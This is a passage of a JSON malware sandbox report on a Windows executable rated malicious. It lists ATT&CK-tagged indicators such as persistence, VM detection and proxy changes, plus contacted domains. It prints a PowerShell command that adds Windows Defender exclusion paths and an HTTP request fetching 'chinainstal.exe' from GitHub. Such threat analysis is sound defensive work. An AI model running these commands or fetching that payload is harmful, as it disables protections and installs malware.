\"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00000860.00000000.92190.00A40000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00000860.00000000.92190.00A40000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00007396.00000000.92259.00780000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00007396.00000000.92259.00780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown System Privilege\" (Indicator: \"shutdown \") in Source: 00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00004572.00000000.95398.D2C60000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSWOW64\\CMD.EXE\"; Value: \"67AD295200BADB0100000000000000000000000002000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"41F0AB4C01BADB0100000000000000000000000002000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"EC4182A701BADB0100000000000000000000000002000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"4FB59E3F02BADB0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$72","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$73","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"powershell -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\\\ishgdrqmyt'\n 'C:\\\\Users'\n '%ALLUSERSPROFILE%\\\\\"\" (UID: 00000000-00004460), Process \"powershell.exe\" with commandline \"powershell -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\\\ndyvmw', 'C:\\\\Users', '%ALLUSERSPROFILE%\\\\\"\" (UID: 00000000-00007072)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ExitWindowsEx.w\" (Indicator: \"ExitWindows\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$74","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004460]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" was detected as \"Microsoft visual C++ 8\"\n \"F2a97.exe\" was detected as \"Microsoft visual C++ 8\"\n \"1H12M2.exe\" was detected as \"ASPack v1.02b or v1.08.03\"\n \"7z.exe\" was detected as \"Microsoft visual C++ 5.0\"\n \"saved.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"cecho.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"WWAHost.exe.mui\" (Indicator: \"wwahost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$75","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$76","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"1H12M2.exe\" called \"FileTimeToLocalFileTime\" with parameter 00ee9dee3eb9db01 & 00163f4204b9db01 (UID: 00000000-00001224)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"3Y00Z.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"3Y00Z.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" win32_process\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, 00000000-00004572.00000000.95398.D14B0000.00000004.mdmp\")\n \"SELECT Name FROM Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Indicator: \" win32_service\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$77","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$78","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP0\"; Value: \"rundll32.exe %WINDIR%\\system32\\advpack.dll,DelNodeRunDLL32 \"%TEMP%\\IXP000.TMP\\\"\")\n \"F2a97.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"F2a97.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP1\"; Value: \"rundll32.exe %WINDIR%\\system32\\advpack.dll,DelNodeRunDLL32 \"%TEMP%\\IXP001.TMP\\\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$79","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 140.82.113.3 on port 443 is sent without HTTP header\n TCP traffic to 185.199.110.154 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$7a","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$7b","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"1H12M2.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"2O4405.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"F2a97.exe\" claimed CRC 3030180 while the actual is CRC 5024416\n \"3Y00Z.exe\" claimed CRC 1963919 while the actual is CRC 2731687\n \"nircmd.exe\" claimed CRC 170299 while the actual is CRC 209173","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"1H12M2.exe\" has an entrypoint in section \".data\"\n \"3Y00Z.exe\" has an entrypoint in section \".taggant\"\n \"cecho.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$7c","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"3Y00Z.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"3Y00Z.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"2O4405.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\c13dbdc4fa\\saved.exe (UID: 00000000-00001812)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler interface DLL","description":"\"2O4405.exe\" loaded module \"%WINDIR%\\SysWOW64\\mstask.dll\" at 72810000","origin":"Loaded Module","mitre_attack_id":"T1053","relevance":5,"id":"module-5","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$7d","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\n Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /grosesch/ibra/raw/refs/heads/main/chinainstal.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: github.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Network Related","name":"Making HTTPS connections using insecure TLS/SSL version","description":"Connection was made using TLSv1.0 [tls.handshake.version: 0x0301]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$7e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads the system/video BIOS version"},{"detail":"Tries to gather information about running processes on a system"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Evasive","details_count":7,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 10 domains and 10 hosts"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}]},"activity":{"stats":{"process_count":36,"spawned_processes_count":36,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":34,"imported_dlls_count":147,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":33,"files_deleted_count":0,"registry_keys_created_count":31,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":33,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":10,"contacted_urls_count":52,"http_requests_count":52},"behavior_tags":["evasive","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"68120d9e551103e90f089285","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["NLD","USA"],"submit_name":"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe","analysis_start_time":"2025-04-30T11:46:39+00:00","indicators_count":{"informative":266,"suspicious":86,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"140.82.113.3","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"address":"185.199.110.154","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"dns_resolutions":[{"domain":"bearjk.live","country":"-","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"btcgeared.live","country":"-","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"buzzarddf.live","country":"-","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"fishgh.digital","country":"-","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Arseny Mishkin","registrar_name_servers":"elijah.ns.cloudflare.com","registrar_creation_date":"2025-04-09T15:58:31+00:00","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"github.com","address":"140.82.113.3","ttl":60,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"ns-421.awsdns-52.com.","registrar_creation_date":"2007-10-09T11:20:50+00:00","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"github.githubassets.com","address":"185.199.110.154","ttl":2372,"country":"Netherlands","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"ns-1354.awsdns-41.org","registrar_creation_date":"2018-10-23T19:59:53+00:00","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"parakehjet.run","country":"-","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"techguidet.digital","country":"-","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Konstantin Dolin","registrar_name_servers":"piers.ns.cloudflare.com","registrar_creation_date":"2025-04-09T19:36:10+00:00","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"techsyncq.run","country":"-","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"domain":"zenithcorde.top","country":"-","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"http_requests":[{"host":"github.com","host_ip":"140.82.113.3:443","url":"/grosesch/ibra/raw/refs/heads/main/chinainstal.exe","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /grosesch/ibra/raw/refs/heads/main/chinainstal.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: github.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/dark-8a995f0bacd4.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/dark-8a995f0bacd4.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/light-74231a1f3bbb.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/light-74231a1f3bbb.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/primer-primitives-225433424a87.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/primer-primitives-225433424a87.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; 